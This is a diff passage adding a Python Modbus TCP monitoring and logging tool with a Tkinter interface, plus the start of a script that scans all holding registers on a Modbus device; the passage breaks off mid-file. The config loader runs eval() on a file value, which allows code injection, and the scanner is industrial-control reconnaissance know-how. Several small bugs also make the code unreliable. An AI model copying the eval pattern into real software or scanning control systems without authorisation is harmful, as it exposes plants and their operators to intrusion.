+## enable execution of functions on program exit +import atexit + +## enable timed execution of the data polling +from threading import Timer + +## enable file access +import os + +## class for all data related things +# +class Data(object): + ## set default values and allowed input values + def __init__(self): + self.inifilename = None + self.logfilename = None + self.logmaxbuffer = 50 ## how many records will be buffered before writing to file + self.ipaddress = '10.0.0.42' ## address of the communication target + self.portno = 502 ## port number of the target + self.modbusid = 3 ## bus ID of the target + self.manufacturer = 'Default Manufacturer' ## arbitrary string for user conveniance + self.loginterval = 5 ## how often should data be pulled from target in seconds + self.moddatatype = { ## allowed data types, sent from target + 'S32':2, + 'U32':2, + 'U64':4, + 'STR32':16, + 'S16':1, + 'U16':1 + } + + self.dataformat = ['ENUM','UTF8','FIX3','FIX2','FIX1','FIX0','RAW'] ## data format from target + + ## table of data to be pulled from target + self.datasets = [['address','type','format','description','unit','value']] + + self.datavector = [] ## holds the polled data from target + self.databuffer = [] ## holds the datavectors before writing to disk + self.datawritebuffer = [] ## holds a copy of databuffer for actual writing to disk + +## class that contains all IO specifics +class Inout: + ## some values to check against when receiving data from target + # these values are read when there is not acutal value from the target available. + # they are the equivalent to None + MIN_SIGNED = -2147483648 + MAX_UNSIGNED = 4294967295 + + ## function for testing the per command line specified configuration file + def checkImportFile(self): + ## does the file exist? + try: + inifile = open(str(arguments['--inifile']),'r').close() + data.inifilename = str(arguments['--inifile']) + except: + ## if we have a GUI display an error dialog + try: + showerror('Import Error','The specified configuration file was not found.') + return + except: ## if no GUI display error and exit + print('Configuration file error. A file with that name seems not to exist, please check.') + exit() + try: + inout.readImportFile() + except: + try: + showerror('Import Error','Could not read the configuration file. Please check file path and/or file.') + return + except: + print('Could not read configuration file. Please check file path and/or file.') + exit() + + ## function for acually reading input configuration file + def readImportFile(self): + ## read config data from file + import configparser + Config = configparser.ConfigParser() + ## read the config file + Config.read(data.inifilename, encoding="utf-8") + data.ipaddress = Config.get('CommSettings','IP address') + data.portno = int(Config.get('CommSettings','port number')) + data.modbusid = int(Config.get('CommSettings','Modbus ID')) + data.manufacturer = Config.get('CommSettings','manufacturer') + data.loginterval = int(Config.get('CommSettings','logger interval')) + try: ## logfilename may be empty. if so data will printed to terminal + data.logfilename = Config.get('FileSettings','log file') + except: + data.logfilename = None + data.logmaxbuffer = int(Config.get('FileSettings','log buffer')) + data.datasets = eval(Config.get('TargetDataSettings','data table')) + + ## function for actually writing configuration data + # + def writeExportFile(self): + import io ## required for correct writing of unicode characters to file + ## use ini file capabilities + import configparser + Config = configparser.ConfigParser() + + ## if the dialog was closed with no file selected ('cancel') just return + if (data.inifilename == None): + try: ## if running in command line no window can be displayed + showerror('Configuration File Error','no file name given, please check.') + except: + print('Configuration file error, no file name given, please check.') + return + ## write the data to the selected config file + try: + inifile = io.open(data.inifilename,'w',encoding="utf-8") + except: + try: ## if running in command line no window can be displayed + showerror('Configuration File Error','a file with that name seems not to exist, please check.') + except: + print('Configuration file error, a file with that name seems not to exist, please check.') + gui.selectExportFile() + return + + ## format the file structure + Config.add_section('CommSettings') + Config.set('CommSettings','IP address',str(data.ipaddress)) + Config.set('CommSettings','port number',str(data.portno)) + Config.set('CommSettings','Modbus ID',str(data.modbusid)) + Config.set('CommSettings','manufacturer',str(data.manufacturer)) + Config.set('CommSettings','logger interval',str(data.loginterval)) + Config.add_section('FileSettings') + Config.set('FileSettings','log file',str(data.logfilename)) + Config.set('FileSettings','log buffer',str(data.logmaxbuffer)) + Config.add_section('TargetDataSettings') + Config.set('TargetDataSettings','data table',str(data.datasets)) + + Config.write(inifile) + inifile.close() + + ## function for writing to log file + # checks if it is an existing file with data in it and will append then + # this function should only be called in intervals writing data in bulk (e.g. every 5 minutes) + # to prevent wearout on solid state disks like SD CARDs + # + def writeLoggerDataFile(self): + import csv ## for writing in csv format + import datetime ## for daily log option + import io ## required for correct writing of utf-8 characters + + if (data.logfilename == None): ## when no filename is given, print data to terminal + if len(data.datawritebuffer) > 0: ## if the buffer has data write this to terminal + print(data.datawritebuffer) + data.datawritebuffer = [] ## empty buffer + else: ## we asume that this was called outside the poll loop with buffer size not reached + print(data.databuffer) + if (len(data.databuffer) == 1): ## if only one address was provided via command line + print(data.databuffer[0][0],data.datasets[1][3],data.databuffer[0][1],data.datasets[1][4]) + data.databuffer = [] ## empty buffer + return + + thislogfile = data.logfilename ## store filename locally for daily option + thisdate = str(datetime.date.today()) + gui_checked_daily = 0 + + ## is GUI available or is command line mode active + if (gui_active): + gui_checked_daily = int(gui.checked_daily.get()) + + ## if daily option is active + if ( (arguments['--daily-log'] == True) or (gui_checked_daily) ): + ## assumption: the logfile has a file extension + logfileparts = thislogfile.rpartition('.') + + ## if there is no file extension we will append the current date to the name + if (logfileparts[0] == ''): + ## re-order logfileparts + thislogfile = logfileparts[2]+'_'+thisdate + else: + ## format the new logfilename with current date included + thislogfile = logfileparts[0]+'_'+thisdate+logfileparts[1]+logfileparts[2] + + ## try to open the file. if it does not exist, create it on the way + try: + open(thislogfile, 'a').close() + except: + try: ## if running in command line no window can be displayed + showerror('Log File Error','file cannot be accessed, please check.') + except: + print('Log file error. File cannot be accessed, please check.') + return + + + ## check if the file is empty, if so write the header information to the file + if os.stat(thislogfile).st_size==0: + with io.open(thislogfile,'at', encoding="utf-8") as logfile: + logwriter = csv.writer(logfile, quoting=csv.QUOTE_ALL) + ## ensure UTF8 encoding while writing + ## print out what data is contained and whats its format + for thisrow in data.datasets: + logwriter.writerows([thisrow]) + + logfile.write('-'*50+'\n') ## write a separator + ## format the column headers + columnheader = 'time' + for thisrow in data.datasets[1:]: ## omit first row containing 'address' + ## ensure UTF8 encoding while writing, since this is the column heading + # no problem with converting to string even if stored as int + thisrow = [s.encode('utf-8') for s in thisrow] + ## use description field for columnheader if filled + if (thisrow[3] != ''): + thisdescription = ','+str(thisrow[3]) + ## if a unit is entered add it after the description + if (thisrow[4] != ''): + thisdescription += ' ('+str(thisrow[4])+')' + columnheader += thisdescription + else: ## no description, use address as header + columnheader += ', '+str(thisrow[0]) + + columnheader += '\n' ## line break before data rows + logfile.write(columnheader) + + ## if the file is not empty we assume an append write to the file + if len(data.datawritebuffer) > 0: ## if the buffer has data write this to disk + with open(thislogfile,'at') as logfile: + logwriter = csv.writer(logfile) + logwriter.writerows(data.datawritebuffer) + data.datawritebuffer = [] ## empty buffer + else: ## we asume that this was called outside the poll loop with buffer size not reached + with open(thislogfile,'at') as logfile: + logwriter = csv.writer(logfile) + logwriter.writerows(data.databuffer) + data.databuffer = [] ## empty buffer + + ## function for starting communication with target + # + def runCommunication(self): + from pymodbus.client.sync import ModbusTcpClient as ModbusClient + + self.client = ModbusClient(host=data.ipaddress, port=data.portno) + try: + self.client.connect() + except: + showerror('Modbus Connection Error','could not connect to target. Check your settings, please.') + + self.pollTargetData() + + self.client.close() + ## lambda: is required to not spawn hundreds of threads but only one that calls itself + self.commtimer = Timer(data.loginterval, lambda: self.runCommunication()) + self.commtimer.start() ## needs to be a separate command else the timer is not cancel-able + + def stopCommunication(self): + #print('Stopped Communication') + self.commtimer.cancel() + ## flush data buffer to disk + self.writeLoggerDataFile() + + ## function for polling data from the target and triggering writing to log file if set + # + def pollTargetData(self): + from pymodbus.payload import BinaryPayloadDecoder + from pymodbus.constants import Endian + import datetime + + data.datavector = [] ## empty datavector for current values + + ## request each register from datasets, omit first row which contains only column headers + for thisrow in data.datasets[1:]: + ## if the connection is somehow not possible (e.g. target not responding) + # show a error message instead of excepting and stopping + try: + received = self.client.read_input_registers(address = int(thisrow[0]), + count = data.moddatatype[thisrow[1]], + unit = data.modbusid) + except: + thisdate = str(datetime.datetime.now()).partition('.')[0] + thiserrormessage = thisdate + ': Connection not possible. Check settings or connection.' + if (gui_active): + messagebox.showerror('Connection Error',thiserrormessage) + return ## prevent further execution of this function + else: + print(thiserrormessage) + return ## prevent further execution of this function + + message = BinaryPayloadDecoder.fromRegisters(received.registers, byteorder=Endian.Big, wordorder=Endian.Big) + ## provide the correct result depending on the defined datatype + if thisrow[1] == 'S32': + interpreted = message.decode_32bit_int() + elif thisrow[1] == 'U32': + interpreted = message.decode_32bit_uint() + elif thisrow[1] == 'U64': + interpreted = message.decode_64bit_uint() + elif thisrow[1] == 'STR32': + interpreted = message.decode_string(32).decode("utf-8").strip('\x00') ## convert bytes to str + elif thisrow[1] == 'S16': + interpreted = message.decode_16bit_int() + elif thisrow[1] == 'U16': + interpreted = message.decode_16bit_uint() + else: ## if no data type is defined do raw interpretation of the delivered data + interpreted = message.decode_16bit_uint() + + ## check for "None" data before doing anything else + if ((interpreted == self.MIN_SIGNED) or (interpreted == self.MAX_UNSIGNED)): + displaydata = None + else: + ## put the data with correct formatting into the data table + if thisrow[2] == 'FIX3': + displaydata = float(interpreted) / 1000 + elif thisrow[2] == 'FIX2': + displaydata = float(interpreted) / 100 + elif thisrow[2] == 'FIX1': + displaydata = float(interpreted) / 10 + + else: + displaydata = interpreted + + ## save _scaled_ data in datavector for further handling + data.datavector.append(displaydata) + + ## display collected data + if (gui_active == 1): + gui.updateLoggerDisplay() + + ## for logging purposes we need a time stamp first + stampedvector = [] + ## we don't need the microseconds of the date return value, so we strip it + stampedvector.append(str(datetime.datetime.now()).partition('.')[0]) + stampedvector += data.datavector + data.databuffer.append(stampedvector) + #print data.databuffer + ## is the buffer large enough to be written to file system? + if (len(data.databuffer) >= data.logmaxbuffer): + ## ensure that the data to write will not be altered by faster poll cycles + data.datawritebuffer = data.databuffer + data.databuffer = [] ## empty the buffer + self.writeLoggerDataFile() ## call write routine to save data on disk + + ## function adds dataset to the datasets list + # also updates the displayed list + # new datasets are not added to the config file + # + def addDataset(self,inputdata): + data.datasets.append(inputdata) + print('Current datasets: '),(data.datasets) + + ## function for saving program state at program exit + # + def cleanOnExit(self): + try: ## stop data logging on exit, catch a possible exception, when communication is not running + self.stopCommunication() + except: + print('') + + ## if data is available, write polled data from buffer to disk + if len(data.databuffer): + self.writeLoggerDataFile() + print('PyModMon has exited cleanly.') + + ## function for printing the current configuration settings + # only used for debug purpose + # + def printConfig(self): + counter = 0 + for data in data.datasets: + print('Datasets in List:', counter, data) + counter += 1 + +## class that contains all GUI specifics +# +class Gui: + def __init__(self,master): + + ## configure app window + master.title('Python Modbus Monitor') + master.minsize(width=550, height=450) + master.geometry("550x550") ## scale window a bit bigger for more data lines + self.settingscanvas = Canvas(master,bg="yellow",highlightthickness=0) + self.settingscanvas.pack(side='top',anchor='nw',expand=False,fill='x') + + ## make the contents of settingscanvas fit the window width + Grid.columnconfigure(self.settingscanvas,0,weight = 1) + + ## create window containers + + ## frame for the config file and data logger file display + filesframe = Frame(self.settingscanvas,bd=1,relief='groove') + filesframe.columnconfigure(1,weight=1) ## set 2nd column to be auto-stretched when window is resized + filesframe.grid(sticky = 'EW') + + ## frame for the settings of the communication parameters + self.settingsframe = Frame(self.settingscanvas,bd=1,relief='groove') + self.settingsframe.grid(sticky = 'EW') + + ## frame for the controls for starting and stopping configuration + controlframe = Frame(self.settingscanvas,bd=1,relief='groove') + controlframe.grid(sticky = 'EW') + + ## create Menu + menubar = Menu(master) + filemenu = Menu(menubar, tearoff=0) + filemenu.add_command(label='Import Configuration File…',command=self.selectImportFile) + filemenu.add_command(label='Export Configuration File…',command=self.selectExportFile) + filemenu.add_command(label='Set Logger Data File…',command=self.selectLoggerDataFile) + filemenu.add_command(label='Save Current Configuration',command=inout.writeExportFile) + filemenu.add_command(label='Exit',command=self.closeWindow) + + toolmenu = Menu(menubar, tearoff=0) + toolmenu.add_command(label='Data Settings…',command=self.dataSettings) + toolmenu.add_command(label='Print Config Data',command=inout.printConfig) + + helpmenu = Menu(menubar, tearoff=0) + helpmenu.add_command(label='About…',command=self.aboutDialog) + + menubar.add_cascade(label='File', menu=filemenu) + menubar.add_cascade(label='Tools', menu=toolmenu) + menubar.add_cascade(label='Help', menu=helpmenu) + master.config(menu=menubar) + + ## add GUI elements + + ## input mask for configuration file + # + Label(filesframe, text='Configuration File:').grid(row=0,sticky='E') + + self.input_inifilename = Entry(filesframe, width = 40) + self.input_inifilename.bind('',self.getInputFile) ## enable file name to be set by [Enter] or [Return] + self.input_inifilename.grid(row=0,column=1,sticky='EW') ## make input field streching with window + + Button(filesframe,text='…',command=(self.selectImportFile)).grid(row=0,column=2,sticky='W') ## opens dialog to choose file from + + ## input mask for data logger file + # + Label(filesframe, text='Data Logger File:').grid(row=1,sticky='E') + + self.input_logfilename = Entry(filesframe, width = 40) + self.input_logfilename.bind('',self.setLogFile) ## enable file name to be set by [Enter] or [Return] + self.input_logfilename.grid(row=1,column=1,sticky='EW') ## make input field streching with window + + Button(filesframe,text='…',command=(self.selectLoggerDataFile)).grid(row=1,column=2,sticky='W') ## opens dialog to choose file from + + ## enable daily log option in GUI, has no own action, will be regarded during log write + self.checked_daily = IntVar() + self.checkManageData=Checkbutton(filesframe, + text='Create daily log file', + variable=self.checked_daily + ) + self.checkManageData.grid(row=2,column=0,columnspan=3) + + Button(filesframe,text='⟲ Re-Read Configuration', command=(self.displaySettings)).grid(row=3,column=0,sticky='W') ## triggers re-read of the configuration file + Button(filesframe,text='⤓ Save Current Configuration', command=(inout.writeExportFile)).grid(row=3,column=1,sticky='W') ## triggers re-read of the configuration file + + ## buttons for starting and stopping data retrieval from the addressed target + # + + ## Button for starting communication and starting writing to logger file + self.commButton = Button(controlframe,text='▶ Start Communication',bg='lightblue', command=self.startCommunication) + self.commButton.grid(row=0,column=1,sticky='W') + + ## fields for configuring the data connection + # + Label(self.settingsframe, text='Communication Connection Settings', font='-weight bold').grid(columnspan=4, sticky='W') + Label(self.settingsframe, text='Current Values').grid(row=1,column=1) + Label(self.settingsframe, text='New Values').grid(row=1,column=2) + + Label(self.settingsframe, text='Target IP Address:').grid(row=2,column=0,sticky = 'E') + Label(self.settingsframe, text='Port No.:').grid(row=3,column=0,sticky = 'E') + Label(self.settingsframe, text='Modbus Unit ID:').grid(row=4,column=0,sticky = 'E') + Label(self.settingsframe, text='Manufacturer:').grid(row=5,column=0,sticky = 'E') + Label(self.settingsframe, text='Log Interval[s]:').grid(row=6,column=0,sticky = 'E') + Button(self.settingsframe,text='⮴ Update Settings',bg='lightgreen',command=(self.updateCommSettings)).grid(row=7,column=2, sticky='W') + + ## frame for entering and displaying the data objects + self.datasettingsframe = Frame(self.settingscanvas,bd=1,relief='groove') + self.datasettingsframe.columnconfigure(3,weight=1) ## make description field fit the window + self.datasettingsframe.grid(sticky = 'EW') + + ## table with data objects to display and the received data + Label(self.datasettingsframe, text='Target Data', font='-weight bold').grid(columnspan=4, sticky='W') + Label(self.datasettingsframe, text='Addr.').grid(row=1,column=0) + Label(self.datasettingsframe, text='Type').grid(row=1,column=1) + Label(self.datasettingsframe, text='Format').grid(row=1,column=2) + Label(self.datasettingsframe, text='Description').grid(row=1,column=3) + Label(self.datasettingsframe, text='Unit').grid(row=1,column=4) + self.input_modaddress=Entry(self.datasettingsframe,width=7) + self.input_modaddress.grid(row=2,column=0) + + self.input_moddatatype = StringVar() + self.input_moddatatype.set(list(data.moddatatype.keys())[0])#[0]) + self.choice_moddatatype=OptionMenu(self.datasettingsframe,self.input_moddatatype,*data.moddatatype) + self.choice_moddatatype.grid(row=2,column=1) + + self.input_dataformat = StringVar() + self.input_dataformat.set(None) + self.choice_moddatatype=OptionMenu(self.datasettingsframe,self.input_dataformat,*data.dataformat) + self.choice_moddatatype.grid(row=2,column=2) + + self.input_description=Entry(self.datasettingsframe,width=35) + self.input_description.grid(row=2,column=3,sticky='ew') + + self.input_dataunit=Entry(self.datasettingsframe,width=5) + self.input_dataunit.grid(row=2,column=4) + + Button(self.datasettingsframe,text='+',font='-weight bold',bg='lightyellow',command=(self.addNewDataset)).grid(row=2,column=6) + + ## checkbutton to enable manipulation of the entered data. + # this is slow, therefore not enabled by default. Also it alters the display layout. + self.checked_manage = IntVar() + self.checkManageData=Checkbutton(self.datasettingsframe, + text='Manage data sets', + variable=self.checked_manage, + command=self.displayDatasets, + ) + self.checkManageData.grid(row=3,column=0,columnspan=3) + + ## canvas for displaying monitored data + self.datacanvas = Canvas(master,bd=1,bg="green",highlightthickness=0) + self.datacanvas.pack(anchor='sw',side='top',expand=True,fill='both') + ## frame that holds all data to display. the static data table and the polled data + self.dataframe = Frame(self.datacanvas) + self.dataframe.pack(side='left',expand=True,fill='both') + ## frame for static data table + self.datadisplayframe = Frame(self.dataframe,bd=1,relief='groove') + #self.datadisplayframe = Frame(self.datacanvas,bd=1,relief='groove') + self.datadisplayframe.pack(side='left', anchor='nw',expand=True,fill='both') + ## frame for data from target + self.targetdataframe = Frame(self.dataframe,bg='white',relief='groove',bd=1) + self.targetdataframe.pack(side='left', anchor='nw',expand=True,fill='both') + #self.targetdataframe.grid(column=1, row=0) + ## add scrollbar for many data rows + self.datascrollbar = Scrollbar(self.datacanvas, orient='vertical', command=self.datacanvas.yview) + self.datascrollbar.pack(side='right',fill='y') + #self.datascrollbar = Scrollbar(self.datacanvas, orient='vertical', command=self.datacanvas.yview) + self.datacanvas.configure(yscrollcommand=self.datascrollbar.set) + + ## make data table fit in scrollable frame + self.datacanvas.create_window((0,0), window=self.dataframe, anchor='nw',tags='dataframe') + + ## fill the datafields with the current settings + self.displayCommSettings() + self.displayDatasets() + + self.update_data_layout() + + ## function for updating the data view after adding content to make the scrollbar work correctly + def update_data_layout(self): + self.dataframe.update_idletasks() + self.datacanvas.configure(scrollregion=self.datacanvas.bbox('all')) + + + def displaySettings(self): + ## read import file and update displayed data + inout.readImportFile() + self.displayCommSettings() + self.displayDatasets() + + ## update logfile display + self.input_logfilename.delete(0,END) + self.input_logfilename.insert(0,data.logfilename) + + ## update displayed filename in entry field + self.input_inifilename.delete(0,END) + self.input_inifilename.insert(0,data.inifilename) + + def displayDatasets(self): + ## display all currently available datasets + for widget in self.datadisplayframe.winfo_children(): + widget.destroy() + + if (self.checked_manage.get()): + Label(self.datadisplayframe,text='Up').grid(row=0,column=0) + Label(self.datadisplayframe,text='Down').grid(row=0,column=1) + Label(self.datadisplayframe,text='Delete').grid(row=0,column=2) + + thisdata = '' ## make local variable known + for thisdata in data.datasets: + counter = data.datasets.index(thisdata) ## to keep track of the current row + if (self.checked_manage.get()): + ## add some buttons to change order of items and also to delete them + if (counter > 1): ## first dataset cannot be moved up + buttonUp=Button(self.datadisplayframe, + text='↑', + command=lambda i=counter:(self.moveDatasetUp(i))) + buttonUp.grid(row=(counter),column = 0) + if ((counter > 0) and (counter != (len(data.datasets)-1))): ## last dataset cannot be moved down + buttonDown=Button(self.datadisplayframe, + text='↓', + command=lambda i=counter:(self.moveDatasetDown(i))) + buttonDown.grid(row=(counter),column = 1) + if (counter > 0): ## do not remove dataset [0] + buttonDelete=Button(self.datadisplayframe, + text='-', + command=lambda i=counter:(self.deleteDataset(i))) + buttonDelete.grid(row=(counter),column = 2) + + ## add the currently stored data for the dataset + Label(self.datadisplayframe,width=3,text=counter).grid(row=(counter),column=3) + Label(self.datadisplayframe,width=6,text=thisdata[0]).grid(row=(counter),column=4) + Label(self.datadisplayframe,width=7,text=thisdata[1]).grid(row=(counter),column=5) + Label(self.datadisplayframe,width=7,text=thisdata[2]).grid(row=(counter),column=6) + Label(self.datadisplayframe,width=25,text=thisdata[3]).grid(row=(counter),column=7,sticky='ew') + Label(self.datadisplayframe,width=6,text=thisdata[4]).grid(row=(counter),column=8) + + self.update_data_layout() + + ## reorder the datasets, move current dataset one up + def moveDatasetUp(self,current_position): + i = current_position + data.datasets[i], data.datasets[(i-1)] = data.datasets[(i-1)], data.datasets[i] + self.displayDatasets() + + ## reorder the datasets, move current dataset one down + def moveDatasetDown(self,current_position): + i = current_position + data.datasets[i], data.datasets[(i+1)] = data.datasets[(i+1)], data.datasets[i] + self.displayDatasets() + + ## reorder the datasets, delete the current dataset + def deleteDataset(self,current_position): + i = current_position + del data.datasets[i] + self.displayDatasets() + + def displayCommSettings(self): + self.current_ipaddress = Label(self.settingsframe, text=data.ipaddress, bg='white') + self.current_ipaddress.grid (row=2,column=1,sticky='EW') + self.input_ipaddress = Entry(self.settingsframe, width=15, fg='blue') + self.input_ipaddress.grid(row=2,column=2, sticky = 'W') # needs to be on a seperate line for variable to work + self.input_ipaddress.bind('',self.updateCommSettings) ## enable the Entry to update without button click + + self.current_portno = Label(self.settingsframe, text=data.portno, bg='white') + self.current_portno.grid (row=3,column=1,sticky='EW') + self.input_portno = Entry(self.settingsframe, width=5, fg='blue') + self.input_portno.grid(row=3,column=2, sticky = 'W') + self.input_portno.bind('',self.updateCommSettings) ## update without button click + + self.current_modbusid = Label(self.settingsframe, text=data.modbusid, bg='white') + self.current_modbusid.grid (row=4,column=1,sticky='EW') + self.input_modbusid = Entry(self.settingsframe, width=5, fg='blue') + self.input_modbusid.grid(row=4,column=2, sticky = 'W') + self.input_modbusid.bind('',self.updateCommSettings) ## update without button click + + self.current_manufacturer = Label(self.settingsframe, text=data.manufacturer, bg='white') + self.current_manufacturer.grid (row=5,column=1,sticky='EW') + self.input_manufacturer = Entry(self.settingsframe, width=25, fg='blue') + self.input_manufacturer.grid(row=5,column=2, sticky = 'W') + self.input_manufacturer.bind('',self.updateCommSettings) ## update without button click + + self.current_loginterval = Label(self.settingsframe, text=data.loginterval, bg='white') + self.current_loginterval.grid (row=6,column=1,sticky='EW') + self.input_loginterval = Entry(self.settingsframe, width=3, fg='blue') + self.input_loginterval.grid(row=6,column=2, sticky = 'W') + self.input_loginterval.bind('',self.updateCommSettings) ## update without button click + + ## function for updating communication parameters with input sanitation + # if no values are given in some fields the old values are preserved + # + def updateCommSettings(self,*args): + + #print('update Communication Settings:') + if self.input_ipaddress.get() != '': + thisipaddress = str(self.input_ipaddress.get()) + ## test if the data seems to be a valid IP address + try: + self.ip_address(thisipaddress) + data.ipaddress = str(self.input_ipaddress.get()) + except: + messagebox.showerror('IP Address Error','the data you entered seems not to be a correct IP address') + ## if valid ip address entered store it + + if self.input_portno.get() != '': + ## test if the portnumber seems to be a valid value + try: + check_portno = int(self.input_portno.get()) + if check_portno < 0: + raise ValueError + except ValueError: + messagebox.showerror('Port Number Error','the value you entered seems not to be a valid port number') + return + data.portno = int(self.input_portno.get()) + + if self.input_modbusid.get() != '': + ## test if the modbus ID seems to be a valid value + try: + check_modbusid = int(self.input_portno.get()) + if check_modbusid < 0: + raise ValueError + except ValueError: + messagebox.showerror('Port Number Error','the value you entered seems not to be a valid Modbus ID') + return + data.modbusid = int(self.input_modbusid.get()) + + if self.input_manufacturer.get() != '': + data.manufacturer = (self.input_manufacturer.get()) + + if self.input_loginterval.get() != '': + ## test if the logger intervall seems to be a valid value + try: + check_loginterval = int(self.input_loginterval.get()) + if check_loginterval < 1: + raise ValueError + except ValueError: + messagebox.showerror('Logger Interval Error','the value you entered seems not to be a valid logger intervall') + return + data.loginterval = int(self.input_loginterval.get()) + + self.displayCommSettings() + + ## function for starting communication and changing button function and text + # + def startCommunication(self): + inout.runCommunication() + self.commButton.configure(text='⏹ Stop Communication',bg='red', command=(self.stopCommunication)) + + def stopCommunication(self): + inout.stopCommunication() + self.commButton.configure(text='▶ Start Communication',bg='lightblue', command=(self.startCommunication)) + + ## function for reading configuration file + # + def selectImportFile(self): + data.inifilename = filedialog.askopenfilename(title = 'Choose Configuration File',defaultextension='.ini',filetypes=[('Configuration file','*.ini'), ('All files','*.*')]) + + ## update displayed filename in entry field + self.input_inifilename.delete(0,END) + self.input_inifilename.insert(0,data.inifilename) + + self.displaySettings() + + ## function for checking for seemingly correct IP address input + # + def ip_address(self,address): + valid = address.split('.') + if len(valid) != 4: + raise ValueError + for element in valid: + if not element.isdigit(): + raise ValueError + break + i = int(element) + if i < 0 or i > 255: + raise ValueError + return + + ## function for selecting configuration export file + # + def selectExportFile(self): + data.inifilename = filedialog.asksaveasfilename(initialfile = data.inifilename, + title = 'Choose Configuration File', + defaultextension='.ini', + filetypes=[('Configuration file','*.ini'), ('All files','*.*')]) + + ## update displayed filename in entry field + self.input_inifilename.delete(0,END) + self.input_inifilename.insert(0,data.inifilename) + + inout.writeExportFile() + + ## function for choosing logger data file + # + def selectLoggerDataFile(self): + data.logfilename = filedialog.asksaveasfilename(initialfile = data.logfilename, title = 'Choose File for Logger Data', defaultextension='.csv',filetypes=[('CSV file','*.csv'), ('All files','*.*')]) + self.input_logfilename.delete(0,END) + self.input_logfilename.insert(0,data.logfilename) + + ## function for updating the current received data on display + # + def updateLoggerDisplay(self): + thisdata = '' ## make variable data known + ## delete old data + for displayed in self.targetdataframe.winfo_children(): + displayed.destroy() + ## display new data + Label(self.targetdataframe,text='Value').grid(row=0,column=0) + for thisdata in data.datavector: + ## send data to display table + Label(self.targetdataframe,text=thisdata,bg='white').grid(column=0,sticky='e') + + ## function for setting program preferences (if needed) + # + def dataSettings(self): + print('dataSettings') + + ## function for updating the configuration file + # with the path entered into the text field + # + def getInputFile(self,event): + data.inifilename = event.widget.get() + + ## function for updating the log file path + # with the path entered into the entry field + # + def setLogFile(self,event): + data.logfilename = event.widget.get() + + ## function adds dataset to the datasets list + # also updates the displayed list + # new datasets are not added to the config file + # + def addNewDataset(self): + inout.addDataset([self.input_modaddress.get(), + self.input_moddatatype.get(), + self.input_dataformat.get(), + self.input_description.get(), + self.input_dataunit.get()]) + self.displayDatasets() + #print(data.datasets) + + ## function for displaying the about dialog + # + def aboutDialog(self): + messagebox.showinfo('About Python Modbus Monitor'\ + ,'This is a program that acts as a modbus slave to receive data from modbus masters like SMA solar inverters. \nYou can choose the data to be received via the GUI and see the live data. \nYou can also call the programm from the command line with a configuration file given for the data to be retrieved. \nThe configuration file can be generated using the GUI command \"File\"→\"Export Configuration\"') + + ## function for closing the program window + # + def closeWindow(self): + exit() + +## create a data object +data = Data() + +## create an input output object +inout = Inout() + +## what to do on program exit +atexit.register(inout.cleanOnExit) + +## create main program window +## if we are in command line mode lets detect it +gui_active = 0 +if (arguments['--nogui'] == False): + ## load graphical interface library + from tkinter import * + from tkinter import messagebox + from tkinter import filedialog + try: ## if the program was called from command line without parameters + window = Tk() + ## create window container + gui = Gui(window) + gui_active = 1 + if (arguments['--inifile'] != None): + inout.checkImportFile() + gui.displaySettings() + + mainloop() + exit() ## if quitting from GUI do not proceed further down to command line handling + except TclError: + ## check if one of the required command line parameters is set + if ((arguments['--inifile'] == None) and (arguments['--ip'] == None)): + print('Error. No graphical interface found. Try "python pymodmon.py -h" for help.') + exit() + ## else continue with command line execution + +######## this section handles all command line logic ########################## + +## read the configuration file +if (arguments['--inifile'] != None): + inout.checkImportFile() + +## get log file name and try to access it +if (arguments['--logfile'] != None): + data.logfilename = str(arguments['--logfile']) + inout.writeLoggerDataFile() ## initial write to file, tests for file + +## get log interval value and check for valid value +if (arguments['--loginterval'] != None): + try: + check_loginterval = int(arguments['--loginterval']) + if check_loginterval < 1: + raise ValueError + except ValueError: + print('Log interval error. The interval must be 1 or more.') + exit() + data.loginterval = int(arguments['--loginterval']) + +## get log buffer size and check for valid value +if (arguments['--logbuffer'] != None): + try: + check_logbuffer = int(arguments['--logbuffer']) + if check_logbuffer < 1: + raise ValueError + except ValueError: + print('Log buffer error. The log buffer must be 1 or more.') + exit() + data.logmaxbuffer = int(arguments['--logbuffer']) + +## get all values for single-value reads +## all obligatory entries. missing entries will be caught by docopt. +# only simple checks will be done, because if there are errors, communication will fail. +if (arguments['--ip'] != None): ## just a check for flow logic, skipped when working with inifile + data.ipaddress = str(arguments['--ip']) + data.modbusid = int(arguments['--id']) + data.port = int(arguments['--port']) + ## because called from command line data.datasets has only one entry + # we can just append and use same mechanics as in "normal" mode + data.datasets.append( [int(arguments['--addr']), + str(arguments['--type']), + str(arguments['--format']), + str(arguments['--descr']), + str(arguments['--unit']) ] ) + +## start polling data +## single poll first +inout.runCommunication() +## if --single is set, exit immediately +if (arguments['--single'] == True): + inout.stopCommunication() + print('single run') + exit() diff --git a/modbus/misc/read_all_holding_registers.py b/modbus/misc/read_all_holding_registers.py new file mode 100644 index 0000000..d32247b --- /dev/null +++ b/modbus/misc/read_all_holding_registers.py @@ -0,0 +1,103 @@ +#!/usr/bin/env python + +""" +File: read_all_holding_registers.py +Desc: Read all holding registers from a TCP MODBUS Slave +Version: 0.0.2 +""" + +__author__ = 'rm' + +from pymodbus.client.sync import ModbusTcpClient +import argparse +import sys +import collections + + +class ModbusException(Exception): + _codes = { + 1: 'ILLEGAL FUNCTION', + 2: 'ILLEGAL DATA ADDRESS', + 3: 'ILLEGAL DATA VALUE', + 4: 'SLAVE DEVICE FAILURE', + 6: 'SLAVE DEVICE BUSY' + } + + def __init__(self, code): + self.code = code + self.message = ModbusException._codes[code] if ModbusException._codes.has_key(code) else 'Unknown Modbus Exception' + + def __str__(self): + return "Modbus Error. Exception %d: %s" % (self.code, self.message) + + +def status(msg): + sys.stderr.write(msg[:-1][:39].ljust(39,' ')+msg[-1:]) + +def validate_ipv4(s): + pieces = s.split('.') + if len(pieces) != 4: return False + try: return all(0<=int(p)<256 for p in pieces) + except ValueError: return False + +def scan(): + + parser = argparse.ArgumentParser(description = "Read all holding registries from a TCP MODBUS Slave") + parser.add_argument("ip", help="IP address of the slave") + parser.add_argument("-p", "--port", dest="port", help="Modbus Port. Defaults to 502", type=int, metavar="PORT", default=502) + parser.add_argument("-u", "--uid", dest="uid", help="Modbus Unit ID. Defaults to 1", type=int, metavar="UID", default=1) + parser.add_argument("-sa", "--start-address", dest="start_address", help="Starting Address for the scanner. Defaults to 1", type=int, metavar="START", default=1) + parser.add_argument("-ea", "--end-address", dest="end_address", help="Ending Address for the scanner. Defaults to 65535", type=int, metavar="END", default=65535) + + args = parser.parse_args() + + try: + ip = args.ip + except IndexError: + print "ERROR: No target to scan\n\n" + parser.print_help() + exit() + + # ip address format verification + if not 